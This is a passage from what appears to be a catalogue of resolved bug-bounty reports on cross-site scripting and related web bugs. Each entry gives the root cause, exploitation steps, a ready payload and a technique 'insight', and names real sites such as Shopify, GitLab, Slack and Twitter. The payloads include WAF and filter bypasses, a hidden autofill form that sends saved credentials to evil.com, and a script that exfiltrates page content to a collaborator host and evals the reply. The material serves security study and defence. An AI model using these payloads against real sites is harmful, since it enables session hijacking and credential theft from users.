- Use a bad port so the browser refuses the Location redirect but still renders the page
- Click the fallback link, which is a javascript: URL -> XSS
Open redirect: https://dev.twitter.com/https:/%5cblackfan.ru/
XSS: https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/
Insight — When a redirect target is echoed in both Location and an on-page link, hunt parser mismatches (backslash, %01, bogus ports) to smuggle javascript: via the HTML fallback even when the redirect itself is blocked.
Real-world example
Rails html_safe string interpolation of trusted-looking data -> stored XSS
◆ Medium
Specimen #858894 · security · none · 71 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A server-side helper builds an HTML string via Ruby interpolation of a field (skill name) and calls .html_safe, disabling auto-escaping; even 'admin-managed' values become an injection vector for both the title attribute and the element body.
Method
- Locate server code that interpolates a value into an HTML string then calls content.html_safe.
- Inject an attribute breakout via the value: 'onclick='alert(/XSS/); to escape the title='...' attribute.
- Or inject a full element: <script>alert(/XSS/);</script> for the text-node interpolation.
- Value renders in an internal/admin backend and executes.
skill name (attribute context): ' onclick='alert(/XSS/);
skill name (text context): <script>alert(/XSS/);</script>
Insight — Grep for .html_safe / raw() around string interpolation in Rails; any interpolated field (even one nominally chosen from a fixed list) is a stored-XSS sink because html_safe turns off ERB escaping.
Real-world example
Stored XSS via unsanitized third-party/aggregated content rendered in own UI
◆ Medium
Specimen #910427 · duckduckgo · none · 67 votes · resolved
Program duckduckgoSurface webTag account-takeover
Root cause
The app renders attacker-controlled data that originates on a third-party service (an external video-site username/tag, or a connected OAuth account's page name) without sanitizing it; when that content is aggregated into the app's pages (search results, dashboards), the injected HTML executes as stored XSS.
Method
- Set a payload as your identity/name on an external service the target ingests (e.g. video-site username, connected Facebook page name).
- Payload: "><img src=x onerror=alert(document.domain)>.
- Cause the target to render that content (search for the video/user; open the connections dropdown).
- The unsanitized third-party field executes in the target's origin.
"><img src=x onerror=alert(document.domain)>
Insight — Trust boundaries: content pulled from external APIs/OAuth-connected accounts / federated sources is attacker-controllable and frequently rendered unescaped. Seed payloads in any field the target ingests from elsewhere (usernames, page names, feed titles) and look for them reflected in the app's own pages.
Real-world example
Reflected XSS via X-Forwarded-Host header
◆ Medium
Specimen #1392935 · omise · 200 · 65 votes · resolved
Program omiseSurface webTag cache
Root cause
The app derives a self-URL from the X-Forwarded-Host request header and reflects it into the HTML (e.g. canonical/og/base tags) without escaping, so a crafted header value breaks out and injects markup.
Method
- Send a normal request but add X-Forwarded-Host with an HTML-breakout payload.
- Look for the header value reflected in the response (link rel=canonical, meta og:url, redirects).
- Confirm the injected img/onerror executes.
- Deliver via cache poisoning or a proxy that forwards the header when reflection is cached.
X-Forwarded-Host: bing.com"><img src/onerror=prompt(document.cookie)>
Insight — Reflected XSS is not only in query/body params: X-Forwarded-Host, X-Forwarded-Scheme, Referer, and Host frequently flow into self-referential HTML. Always fuzz forwarding headers; if the reflection is cacheable this becomes cache-poisoning stored XSS.
Real-world example
Stored XSS via account/branding name field rendered in a preview
◆ Medium
Specimen #1472471 · shopify · USD 2900 · 63 votes · resolved
Program shopifySurface web
Root cause
A user-controlled label field (store name / branding) is echoed unsanitized into a template/preview area, allowing tag injection that persists and fires for anyone rendering that object.
Method
- Set the store/branding/profile name to an HTML-injection payload
- Save it
- Open a feature that renders the name (email template preview, profile page)
"><img src=xx onerror=alert(document.domain)>
Insight — Name/label/title fields that feel cosmetic are stored-XSS sinks the moment they render in a preview, email, or shared page; test every editable display string.
Real-world example
Stored XSS via resource-name field using <video><source onerror> gadget
◆ Medium
Specimen #1064095 · acronis · USD 500 · 63 votes · resolved
Program acronisSurface web
Root cause
A dashboard resource name (protection-plan name) is rendered unsanitized; when <img> is filtered, a <video><source onerror> gadget still yields JS execution.
Method
- Create a resource (plan/rule/job) and set its name to the payload
- Trigger a view/confirm dialog that renders the name
- Payload fires; re-render on reload confirms it is stored
<video><source onerror="javascript:alert(document.domain)">
Insight — When img/script are blocked, media-element error handlers (<video><source onerror>, <audio><source onerror>) are reliable auto-firing gadgets on resource-name sinks.
Real-world example
Reflected XSS in JS event-handler context using JSFuck encoding
◆ Medium
Specimen #1420529 · expediagroup_bbp · awarded · 63 votes · resolved
Program expediagroup_bbpSurface webChain clickjacking -> forced onsubmit -> JSFuck-encoded XSSTag clickjacking
Root cause
User input (origCity) is reflected into a JavaScript event-handler (onsubmit) context; alphanumeric-only WAF filtering is bypassed by encoding the payload entirely in JSFuck ([]()!+ characters).
Method
- Identify a param reflected inside an inline JS/event-handler context
- Encode the JS payload as JSFuck to avoid letters/quotes the WAF blocks
- Deliver; trigger the event (onsubmit; combine with clickjacking to force the interaction)
origCity=xss;'}}),[][(![]+[])[+[]]+... (full JSFuck-encoded alert(document.cookie) blob)
Insight — When a WAF blocks alphabetic keywords but the sink is a JS context, JSFuck ([]()!+ only) still evaluates; event-handler sinks that need interaction can be forced via an overlaid clickjacking frame.
Real-world example
CSP response header ignored by in-app WebView browser
◆ Medium
Specimen #1941767 · metamask · awarded · 63 votes · resolved
Program metamaskSurface mobile-android
Root cause
MetaMask's Android in-app browser does not enforce Content-Security-Policy delivered via HTTP response header (only honors CSP in a <meta> tag), so an HTML-injection that CSP would block in real browsers becomes full XSS inside the wallet browser.
Method
- Confirm target's XSS is blocked only by a header-delivered CSP in normal browsers
- Open the same page in the in-app WebView browser (MetaMask/other apps)
- Observe the script executes because header CSP is ignored
header("Content-Security-Policy: script-src 'none'"); <script>alert('Javascript is executed.')</script>
Insight — WebView/in-app browsers frequently drop security features (CSP headers, etc.); re-test HTML-injection-only findings inside app WebViews where header CSP may not apply, upgrading them to XSS.
Real-world example
XSS via HTTP parameter pollution + CDN Query String Sort reordering
◆ Medium
Specimen #293689 · hackerone · USD 1500 · 61 votes · resolved
Program hackeroneSurface webChain HPP -> CDN query sort -> signature bypass -> reflecTag open-redirect
Root cause
A signed redirect took the first url= param; duplicating url= with a JAVASCRIPT: payload plus Cloudflare's 'Query String Sort' caching feature reordered params so the uppercase-J payload (ASCII before lowercase h) landed first, defeating the signature check and reaching a client-side sink.
Method
- Find an endpoint that validates/echoes one occurrence of a param
- Add a duplicate param carrying the payload (HTTP parameter pollution)
- Exploit backend/CDN param reordering (Query String Sort, sort by ASCII) so your payload wins; here it rendered in React and fired javascript: in IE (CSP ignored)
https://hackerone.com/redirect?signature=SIG&url=http%3A%2F%2Fbuglabs.me&url=JAVASCRIPT:alert%09(document.domain)
Insight — HTTP parameter pollution + any layer that reorders/sorts query params (CDN caching, load balancers) can promote an attacker's duplicate param past a signature or allow-list; test duplicate params and case/ordering when a signed value blocks you.
Real-world example
Cross-domain stored XSS via poll answer + attribute-breakout style overlay
◆ Medium
Specimen #2012636 · automattic · awarded · 60 votes · resolved
Program automatticSurface webChain stored on app.crowdsignal.com -> rendered cross-domain in
Root cause
A Crowdsignal poll answer is stored and rendered (including when embedded in wordpress.com posts); when tags are filtered but the value lands in an attribute, a quote breaks out and a full-viewport style overlay guarantees the onmouseover fires.
Method
- Create a poll and set an answer to an attribute-breakout payload
- Embed/share the poll where it renders (wordpress.com post -> View Results)
- Victim moving the mouse triggers the handler
"style="position:fixed;top:0;left:0;border:999em solid green;" onmouseover="alert(document.cookie)"
Insight — When tag injection is blocked but you're inside an HTML attribute, close the attribute with a quote and add your own event handler; a fixed full-viewport element (huge border/overlay) makes onmouseover fire almost anywhere the cursor moves.
Real-world example
DOM XSS via document.write iframe src built from location
◆ Medium
Specimen #1073725 · insulet-omnipod · none · 59 votes · resolved
Program insulet-omnipodSurface web
Root cause
Page script splits window.location on '?' and document.write()s an <iframe src='...QUERY'>; a quote in the query (delivered via the URL fragment) breaks out of the src attribute and injects an event handler.
Method
- Locate a page that document.writes an iframe/element using window.location.search or the raw URL
- Place a quote + event handler after the ? or in the # fragment
- Load the URL to fire the handler
https://TARGET/page?sid=x&#'onload='alert(document.domain)
Insight — document.write() + location.search/hash is a classic DOM sink; the fragment (#...) is not sent to the server so it evades server-side WAFs while still reaching client sinks.
Real-world example
Stored XSS via git commit author_email rendered html_safe
◆ Medium
Specimen #1087061 · gitlab · USD 3000 · 59 votes · resolved
Program gitlabSurface web
Root cause
GitLab builds an <a href='#{author_url}'> and marks it html_safe; author_url derives from the (attacker-controlled) git commit author_email, so a crafted email injects arbitrary <a> attributes on the wiki page.
Method
- Set a malicious commit author email in .git/config containing an attribute-breakout payload
- Commit and push to a wiki/repo
- View the rendered page where the author link is shown
[user]
name = anyname
email = "#' style=animation-name:blinking-dot onanimationstart=alert(document.domain) other"
Insight — Data from git metadata (author name/email, branch/tag names, commit messages) is attacker-controlled and often trusted/html_safe on render; onanimationstart + an existing CSS animation-name fires with zero user interaction.
Real-world example
Reflected XSS in outdated cPanel cpanelwebcall endpoint
◆ Medium
Specimen #1982630 · private-program · none · 58 votes · resolved
Program private-programSurface web
Root cause
An unpatched cPanel install (auto-update disabled) reflects the path segment after /cpanelwebcall/ into HTML unencoded, yielding reflected XSS on a known product endpoint.
Method
- Fingerprint cPanel and its version (auto-update off = likely vulnerable)
- Request /cpanelwebcall/<payload>
- Observe reflected execution
http://TARGET/cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt(1)%22%3Eaaaaaaaaaaaa
Insight — Off-the-shelf software (cPanel, phpMyAdmin, etc.) on outdated versions carries known reflected-XSS endpoints; recon the product+version and try published paths like /cpanelwebcall/ before hand-fuzzing.
Real-world example
Reflected XSS via WordPress search (?s=) parameter
◆ Medium
Specimen #1537149 · automattic · awarded · 57 votes · resolved
Program automatticSurface web
Root cause
The search query parameter (?s=) is reflected into the results page inside an attribute/body without encoding, allowing attribute breakout and tag injection.
Method
- Submit a payload in the site search box or directly via ?s=
- Observe reflection breaking out of the attribute
- Confirm JS execution via img onerror
https://TARGET/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert(document.cookie)%3E&post_type=knowledgebase
Insight — Search endpoints (?s=, ?q=, /search/<term>) reflect the raw query back for the no-results message; always test them first with a quote-breakout img onerror payload.
Real-world example
Known-CVE Jira issue-collector reflected XSS with single-quote filter bypass
◆ Medium
Specimen #380354 · roblox · awarded · 55 votes · resolved
Program robloxSurface web
Root cause
Outdated Atlassian Jira (7.6.3) issue-collector date filters reflect input; double-quoted payloads get backslash-escaped but single-quoted ones do not (CVE-2018-5230).
Method
- Fingerprint Jira version from footer/REST API
- Match version to a disclosed XSS CVE
- On issues filter date fields inject a single-quoted HTML payload
<iframe src='//google.com'></iframe>
Insight — Version-fingerprint COTS apps (Jira, WordPress) then weaponize the matching CVE; when double quotes are escaped, retry the same payload using single quotes. Note shared cookies across *.company.com make non-core subdomains equally impactful.
Real-world example
Keycloak reflected XSS via payload in POST JSON body key (CVE-2021-20323)
◆ Medium
Specimen #2221104 · deptofdefense · none · 55 votes · resolved
Program deptofdefenseSurface webTag oauth
Root cause
Keycloak <=8.0 clients-registrations/openid-connect endpoint reflects an invalid JSON body key directly into an HTML error response.
Method
- Identify Keycloak (/auth/realms/master...)
- POST JSON whose KEY is an HTML/JS payload to /auth/realms/master/clients-registrations/openid-connect
- Server echoes the key into the response HTML
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Content-Type: application/json;charset=UTF-8
{"<img onerror=confirm('xss_poc') src/>":1}
Insight — Payloads can live in a JSON object KEY, not just values; error handlers that echo the offending token into HTML are an overlooked reflected-XSS sink. Fingerprint Keycloak and check its known CVEs.
Real-world example
Dangling hidden login form harvests browser-autofilled creds
◆ Medium
Specimen #1257767 · stripe · awarded · 53 votes · resolved
Program stripeSurface webChain HTML injection -> hidden autofill form -> credential eTag account-takeover
Root cause
The invoice memo field allows raw HTML injection; an attacker embeds an invisible login form (opacity:0 email/password inputs) that the victim's browser password manager auto-fills, and a mislabeled submit button ('Load more content') exfiltrates the credentials to an attacker origin.
Method
- Save site credentials in the browser password manager
- Inject the HTML form into the invoice memo field and save
- Open/send the invoice to the victim; browser autofills the hidden inputs
- Victim clicks the disguised submit button, leaking creds to attacker origin via GET
<form action="//evil.com" method="GET">
<input type="text" name="u" style='opacity:0;'>
<input type="password" name="p" style='opacity:0;'>
<input type="submit" name="s" value="Load more content">
</form>
Insight — HTML injection without script execution is still exploitable: an invisible autofill form + password-manager domain-scoping (same-origin injection point) harvests credentials. Test HTML-injection sinks for dangling-markup and autofill-abuse, not just <script>.
Real-world example
Reflected XSS breaking out of window.location.replace() JS string
◆ Medium
Specimen #1068477 · trellix · none · 53 votes · resolved
Program trellixSurface web
Root cause
targetURL param is reflected inside a JS string argument to window.location.replace("...") without escaping.
Method
- Find endpoint that reflects a URL param inside inline JS
- Close the string and statement, inject code, comment out the rest
scripting.asp?targetURL=%22);alert(document.domain);//
Insight — When a param lands inside inline <script> (location.replace/href assignments), break out with "); ...; // instead of HTML tags; HTML-encoding filters won't help in JS context.
Real-world example
Reflected XSS through an Open Akamai ARL proxy
◆ Medium
Specimen #1315907 · deptofdefense · none · 53 votes · resolved
Program deptofdefenseSurface webChain open Akamai ARL (content proxy) -> XSS on trusted origin
Root cause
An open Akamai ARL path lets you proxy arbitrary third-party origin content (here citysearch search) through the trusted host, and that proxied page reflects what/where params unsanitized.
Method
- Identify Akamai ARL path structure (/7/0/33/1d/<origin>/...)
- Point it at a reflective endpoint on any origin
- Inject XSS in the reflected params; it executes on the trusted Akamai host
http://master-config-HOST/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E
Insight — Open Akamai ARLs are a CDN-level SSRF/proxy primitive; any reflective/XSS-prone page reachable through the ARL inherits the trusted host's origin. Enumerate ARL prefixes on Akamai-fronted assets.
Real-world example
Stored XSS via javascript: URL, client-side validation bypass
◆ Medium
Specimen #1441988 · shopify · awarded · 53 votes · resolved
Program shopifySurface web
Root cause
linkpop link/url field only validates the javascript: scheme client-side; tampering the request stores javascript:alert() which fires from the public shareable link.
Method
- Create a linkpop page/template
- Intercept the save request and set the url param to javascript:alert(document.domain)
- Publish; open the public /slug link and click the poisoned link/image
"url":"javascript:alert(document.domain)"
Insight — URL/link fields that block javascript: only in the browser are trivially bypassed with an intercepting proxy; always test scheme validation server-side. ${7*7}/{{7*7}} in the same fields also probes SSTI.
Real-world example
Reflected XSS via redirect param accepting javascript: scheme
◆ Medium
Specimen #1672459 · shopify · USD 1600 · 51 votes · resolved
Program shopifySurface apiChain open-redirect param -> javascript: XSS
Root cause
api.collabs.shopify.com login endpoint uses creator_redirect as a navigation target without scheme validation, so javascript: executes.
Method
- Authenticate on collabs
- Open /creator/auth/login?creator_redirect=javascript:alert(document.domain)
- Script runs on the api subdomain
https://api.collabs.shopify.com/creator/auth/login?creator_redirect=javascript:alert(document.domain)
Insight — Redirect/return-url params that feed location assignment are open-redirect AND XSS sinks if they accept the javascript: scheme; always test javascript:, data:, and //evil in *redirect*/next/return params.
Real-world example
Reflected XSS in ORY Hydra OAuth error page with marquee/unicode bypass
◆ Medium
Specimen #456333 · eternal · awarded · 51 votes · resolved
Program eternalSurface webTag oauth
Root cause
ORY Hydra's oauth2/fallbacks/error page reflects error/error_description/error_hint params unescaped.
Method
- Locate the OAuth provider's error fallback page
- Inject payload into error_hint (or any of the error params)
- Use marquee onfinish + unicode-escaped confirm to dodge keyword filters
https://TARGET/oauth2/fallbacks/error?error=xss&error_description=xss&error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E
Insight — OAuth/OIDC provider error pages (ORY Hydra oauth2/fallbacks/error) echo error_* params; they're a recurring reflected-XSS sink. Use rarer event handlers (marquee onfinish) and \u-escaped function names (co\u006efirm) to bypass keyword blacklists.
Real-world example
Reflected XSS filter bypass by splitting SCRIPT across attributes + document.write
◆ Medium
Specimen #1211148 · drugs_com · none · 51 votes · resolved
Program drugs_comSurface web
Root cause
imprint param reflects into HTML (only when the search returns results); a strict XSS filter blocks literal script, so the payload stores the forbidden strings in benign custom-element attributes and reassembles them at runtime via document.write in an event handler.
Method
- Ensure the search returns results (use a long imprint string)
- Inject a custom element with attributes holding SCRIPT/alert fragments
- Fire onpointerover to document.write the concatenated attribute values
"><x id="x" v1="<" v2="SCRIPT>" v3="ale" v4="rt(1" v5=")" v6="</" v7="SCRIPT>" onpointerover="document.write(`${window.x.attributes.v1.value+window.x.attributes.v2.value+window.x.attributes.v3.value+window.x.attributes.v4.value+window.x.attributes.v5.value+window.x.attributes.v6.value+window.x.attributes.v7.value}`)">
Insight — When a filter blocks the token 'script'/'alert', store the fragments as data in element attributes and rebuild them at runtime with document.write/eval in an auto-firing handler (onpointerover); no forbidden substring ever appears contiguously. Also: pad search input so a results-gated reflection always renders.
Real-world example
Reflected POST XSS in JS-object context via auto-submitting CSRF form
◆ Medium
Specimen #2670521 · deptofdefense · none · 51 votes · resolved
Program deptofdefenseSurface webChain CSRF auto-POST -> reflected XSS in JS context
Root cause
A Liferay /web/guest/search endpoint reflects the POST 'query' param inside an inline JS object literal; closing the object/statement injects script. Delivered via an auto-submitting HTML form since it's a POST.
Method
- Identify query reflected inside inline JS (var x={y:'...'})
- Craft payload that closes the object and statement then injects code
- Host an auto-submitting form to deliver the POST to the victim
'};alert('XSS');var x={y:'
Insight — POST-only reflected XSS is still deliverable with a hidden auto-submit form; when input lands inside a JS object/array literal, break out with '}; or ']; rather than HTML tags.
Real-world example
Stored XSS past client-only validation + WAF blacklist bypass (marquee onstart)
◆ Medium
Specimen #382625 · semrush · awarded · 50 votes · resolved
Program semrushSurface webTag account-takeover
Root cause
Competitor-domain field is validated only client-side; intercepting the request stores an arbitrary payload. A blacklist WAF only inspects GET, and blocks common tags/attributes but not the rarer marquee onstart event.
Method
- Intercept the add-domain POST and replace the client-validated value with an HTML payload
- Confirm it stores verbatim; the render path passes it through a blacklist WAF
- Use an uncommon tag/handler the blacklist misses (marquee onstart) to fire
"><u>XSS Vulnerability</u><marquee onstart='alert(document.cookie)'>XSS
Insight — When validation is client-side only, replay the stored value via proxy. Against blacklist WAFs, reach for rarely-blacklisted event handlers (onstart on marquee, onpointerenter, etc.) instead of onerror/onload.
Real-world example
Low-priv admin field stored XSS rendered in a sibling app template (+CSRF-token exfil)
◆ Medium
Specimen #869831 · shopify · awarded · 50 votes · resolved
Program shopifySurface webChain low-priv staff field -> Email app template render -> aTag account-takeover
Root cause
A staff member with only Settings access injects HTML into the store-address 'Apartment/suite' field; that value is later rendered unsanitized inside the Shopify Email app template, executing script in the admin context.
Method
- As a low-privilege staff user, inject HTML into an under-validated settings field (store address)
- Trigger a feature/app that renders that field into HTML (Email template editor)
- Payload runs in admin origin; use it to read the CSRF token and drive graphql requests
<img src="a:" onerror="var t=setTimeout;t(function(){var b=function(d){var x=new XMLHttpRequest;t(function(){eval(x.responseText)},2000);x.open('POST','https://COLLAB');x.send(d)};window.parent.postMessage(b(document.head.innerHTML),'*');},2000)"/>
Insight — Data entered in one low-privilege settings field can surface unsanitized in a different feature/app's template. Trace where stored fields are re-rendered; exfil the CSRF meta tag then drive authenticated GraphQL/state-changing requests.
Real-world example
javascript: URI in feedback redirect path param
◆ Medium
Specimen #834071 · slack · USD 1000 · 49 votes · resolved
Program slackSurface webTag account-takeover
Root cause
api.slack.com/feedback/submit takes a `path` field that is used for post-submit navigation; it accepts a javascript: URI, so an auto-submitted form causes script execution / arbitrary redirect in the slack origin.
Method
- Build an auto-submitting POST form to /feedback/submit with path set to a javascript: URI
- Victim visiting the attacker page submits it and lands on the executing redirect
<form name="f" action="https://api.slack.com/feedback/submit" method="POST">
<input type='hidden' name='crumb' value="1">
<input type='hidden' name='path' value="javascript:alert(document.domain)">
<input type='hidden' name='vote' value="Yes">
</form>
<script>document.f.submit();</script>
Insight — Any redirect/return/path parameter that ends up in location.href or an anchor href is an XSS sink if it accepts the javascript: scheme - test both open-redirect and javascript: on such params.
Real-world example
DOM XSS via SVG <use> external ref in Bootstrap HTML tooltip
◆ Medium
Specimen #831962 · gitlab · awarded · 49 votes · resolved
Program gitlabSurface webChain CI artifact JS (mime bypass) -> external SVG foreignObjecTag file-upload
Root cause
Issue-reference tooltips enable HTML; Bootstrap's sanitizer whitelists <svg>,<use> and xlink:href, letting an issue title reference an external SVG that contains a foreignObject+iframe srcdoc which runs script when the tooltip renders (Firefox).
Method
- Host attacker JS as a CI job artifact so it is served with application/javascript (bypassing text/plain + nosniff)
- Host an SVG containing <foreignObject><iframe srcdoc='<script src=ARTIFACT>'>
- Set an issue title to <svg><use xlink:href='EXTERNAL_SVG#id'/></svg>
- Reference the issue (e.g. #1); hovering the reference renders the tooltip and executes the script
# issue title:
<svg><use xlink:href="https://TARGET/user/proj/-/raw/master/xss.svg#xss"/></svg>
# xss.svg:
<svg id="xss" xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc='<script src=https://TARGET/user/proj/-/jobs/ID/artifacts/raw/alert.js></script>'></iframe>
</foreignObject>
</svg>
# .gitlab-ci.yml to serve alert.js as application/javascript:
js:
script: echo build
artifacts:
paths: [alert.js]
Insight — HTML-tooltip sanitizers that allow svg/use/xlink:href are exploitable via external SVG references (svg4everybody fetches and innerHTMLs them). To beat X-Content-Type-Options: nosniff on a raw JS file, serve it as a CI/CD artifact so its mime becomes application/javascript.
Real-world example
postMessage DOM XSS via Safari anchor.host parsing of javascript: URI
◆ Medium
Specimen #1238528 · wordpress · awarded · 48 votes · resolved
Program wordpressSurface webChain embedded post -> postMessage link handler -> Safari hoTag account-takeover
Root cause
WordPress wp-embed receiveEmbedMessage handler, on a 'link' message, sets top.location.href = t.value after a same-host check done by comparing anchor.host of the src and of t.value; Safari returns a non-empty host for javascript://host/%0a... URLs, so the check passes and the javascript: URL runs in the victim (top) origin.
Method
- Attacker blog post is embedded on the victim's WordPress site
- Attacker frame reads the secret from location.hash and postMessages {message:'link', value: javascript://host/%0a...}
- Safari's anchor.host equals the embed host, passing the check; top.location.href is set to the javascript: URL
// in attacker embed page:
if(location.hash.indexOf('secret')!=-1){
secret=location.hash.split('=')[1];
top.postMessage({secret:secret,message:'link',value:'javascript://'+location.host+'/%0aalert(document.domain);//'},'*');
}
// Safari-only quirk:
// a=document.createElement('a'); a.href='javascript://google.com/%0aalert(1);//'; a.host === 'google.com'
Insight — Same-origin checks that build an <a> and compare .host are bypassable on Safari because it parses a host out of javascript:// URLs (other browsers return ''). Always also validate the URL scheme against http/https, and treat anchor.host comparisons as insufficient.
Real-world example
Reflected XSS via attribute-break in hidden input value (Revive Adserver)
◆ Medium
Specimen #3091390 · revive_adserver · none · 48 votes · resolved
Program revive_adserverSurface webTag account-takeover
Root cause
admin-search.php registers the `compact` request global and assigns it to a template that emits <input value='{$compact}'> without escaping, so a quote breaks out of the value attribute and injects a script tag (CVE-2025-27208).
Method
- Send the admin an URL with a compact param that closes the value attribute
- When rendered in the admin, the script executes
http://TARGET/www/admin/admin-search.php?affiliate=1&banner=1&campaign=1&client=1&compact=1'><script>alert(document.cookie)</script>&keyword=1&zone=1
Insight — Values echoed into single/double-quoted HTML attributes (hidden inputs especially) need only a matching quote plus '>' to break out. Grep templates for value='{$var}' patterns fed from unescaped request globals.
Real-world example
Stored XSS via undocumented body_html API field (multi-path sanitization gap)
◆ Medium
Specimen #192210 · shopify · awarded · 47 votes · resolved
Program shopifySurface apiChain web sanitizer -> API body_html bypass -> stored XSS inTag account-takeover
Root cause
Blog comments are HTML-sanitized when posted/edited via the web UI, but the comment update API accepts an undocumented body_html field that is stored and rendered verbatim in both storefront and admin, bypassing the sanitizer.
Method
- Post a comment via the web UI and note the comment id
- Using an app with comment permission, PUT the comment with a body_html field containing markup
- Send twice; the raw HTML renders on the blog post and in the admin comments view
PUT /admin/comments/<comment-id>.json
{
"comment": {
"id": <comment-id>,
"body": "blah",
"body_html": "blah<img src=x onerror=alert(0);>"
}
}
Insight — Sanitization applied on the web write path is often absent on the API write path, and undocumented fields (body_html) accept raw HTML. Enumerate all write paths for a resource and fuzz for *_html/raw fields; check both storefront and admin render surfaces.
Real-world example
DOM XSS via postMessage handler that trusts data after one origin check
◆ Medium
Specimen #423218 · shopify · USD 500 · 46 votes · resolved
Program shopifySurface webChain malicious shop -> framed sandbox route -> postMessage Tag account-takeover
Root cause
The /:id/sandbox/google_maps route validates the incoming postMessage origin against the shop for :id, then renders attacker-supplied marker `title` as HTML into checkout.shopify.com, so a malicious shop injects script via the map marker label.
Method
- Create a shop and capture its id
- Frame checkout.shopify.com/<id>/sandbox/google_maps
- postMessage a createMapAndMarkers action with an HTML title -> XSS on checkout.shopify.com
var frame=document.createElement('iframe');
frame.src='https://checkout.shopify.com/<ID>/sandbox/google_maps';
frame.onload=function(){
frame.contentWindow.postMessage('shopify_google_api:'+JSON.stringify({action:'createMapAndMarkers',body:[{title:'<img src=xx: onerror=alert(document.domain)>'}]}),'*');
};
document.body.appendChild(frame);
Insight — postMessage handlers often validate origin once then trust every field of the message. Audit map/marker/label/title fields rendered as HTML; a valid origin does not mean the message content is safe.
Real-world example
Second-order stored XSS via API param keyed by victim ID
◆ Medium
Specimen #2051085 · indrive · USD 284 · 46 votes · resolved
Program indriveSurface apiChain API write to victim id -> stored payload -> victim UI Tag account-takeover
Root cause
The promocodes API stores an attacker-controlled activationDate against a given driver id without sanitization; when any user looks up that id in the promo UI, the stored payload is rendered and executes.
Method
- POST to the promocodes API with a target id and an XSS payload in activationDate
- Enumerate valid ids to poison every user
- Victim entering their id in the promo UI triggers the stored payload
POST /api/spreadsheet/promocodes HTTP/1.1
Host: id.TARGET.com
Content-Type: application/json
{"id":"4","activationDate":"<script>alert(1)</script>"}
Insight — Direct API writes that key data by an enumerable user id are second-order stored-XSS vectors: you inject once per id and the payload fires when that user (or staff) views the record. Test write-then-view flows on retired/legacy endpoints too.
Real-world example
Reflected XSS in JS string context via duplicate object keys
◆ Medium
Specimen #1818163 · equifax · none · 46 votes · resolved
Program equifaxSurface webTag account-takeover
Root cause
The search term is reflected inside a JS string argument of Analytics.trackEvent({internalSearchTerm:"..."}); breaking out of the quote and injecting a second internalSearchTerm/numOfSearchResultsReturned key lets attacker JS run without needing a <script> tag.
Method
- Confirm the param reflects inside a <script> JS string
- Break out of the double-quoted string and add duplicate object keys whose values are attacker JS
- Use call-free execution like [7].map(alert) to fire
https://TARGET/personal/help/search?search=%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b
# decoded: " , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: "b
Insight — For reflections inside inline JS, you rarely need <script>: close the string and inject expressions/keys. [7].map(alert) and similar call the sink without parentheses/spaces, dodging char filters.
Real-world example
Reflected XSS via nested-array multipart field + mixed-case tag
◆ Medium
Specimen #2353185 · deptofdefense · none · 45 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A deeply-nested array form field (goal[1][Costs]) in a multipart POST is reflected unsanitized; array-indexed params are frequently missed by input filters, and mixed-case ScRiPt evades case-sensitive tag blacklists.
Method
- Map every form field including nested array params (name[i][key])
- Inject into the less-obvious array fields rather than top-level ones
- Use mixed-case tags to dodge case-sensitive blacklists
# multipart field:
Content-Disposition: form-data; name="goal[1][Costs]"
1<ScRiPt>alert(9639)</ScRiPt>
Insight — Fuzz every field, especially nested/array-indexed multipart params - sanitizers often only cover the primary fields. Mixed-case tags beat naive case-sensitive filters.
Real-world example
Reflected XSS in JS string via </script> tag breakout
◆ Medium
Specimen #176754 · x · awarded · 45 votes · resolved
Program xSurface webTag account-takeover
Root cause
The scribe_context param is copied into a double-quoted JavaScript string in a card template and echoed unmodified; closing the enclosing </script> and opening a new script tag runs arbitrary JS.
Method
- Find the param reflected inside an inline <script> string
- Inject </script><script>...</script> to break the block and open a fresh one
https://twitter.com/i/cards/tfw/v1/788663483873263617?cardname=player&scribe_context=l4tqu%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3eo7gyv
Insight — When a value lands in an inline script string, the HTML parser still honors a literal </script>; closing the script element and opening a new one is the most reliable JS-context breakout.
Real-world example
Reflected XSS breaking out of h6 with slashed no-space payload
◆ Medium
Specimen #2434904 · deptofdefense · none · 45 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The search query is reflected inside an <h6> tag without encoding; closing the tag and using a slash-delimited <image/src/onerror=...> payload fires XSS even where spaces are filtered.
Method
- Identify the HTML element the reflection sits in (here h6)
- Close that tag and inject an event-handler element
- Use slashes instead of spaces between attributes to survive space filtering; <image> is auto-corrected to <img>
</h6><image/src/onerror=alert(document.cookie)>
Insight — Slash separators (<tag/attr/onerror=...>) replace spaces to bypass space/keyword filters; <image> is normalized to <img> by the parser and often not blacklisted. Always break out of the exact enclosing element.
Real-world example
javascript://%0a scheme in UI-extension SDK Button href (CSP-mitigated)
◆ Medium
Specimen #1823216 · stripe · USD 2000 · 45 votes · resolved
Program stripeSurface webTag account-takeover
Root cause
Stripe UI-extension SDK Button/Link components render an href without validating the scheme, so a javascript://%0a...URL is a script sink in the dashboard; execution is blocked only by CSP (defense-in-depth), not by input sanitization.
Method
- Build a Custom app whose Button/Link href is a javascript: URL with a %0a/%0d newline after the //
- Deploy to the dashboard drawer viewport
- Clicking the button attempts execution; CSP blocks it, but with CSP removed the JS runs in dashboard.stripe.com
<Button href="javascript://%0aalert(document.domain)">XSS</Button>
<Button href="javascript://%0dalert(document.domain)">XSS</Button>
Insight — Framework/SDK link components often forward href verbatim; javascript://%0a (comment-then-newline) is the canonical way to smuggle a javascript: URL past http/https-looking checks. When CSP is the only thing stopping execution, report the sanitization gap - CSP may be relaxed elsewhere.
Real-world example
Android WebView XSS via exported activity + loadDataWithBaseURL
◆ Medium
Specimen #283063 · irccloud · awarded · 44 votes · resolved
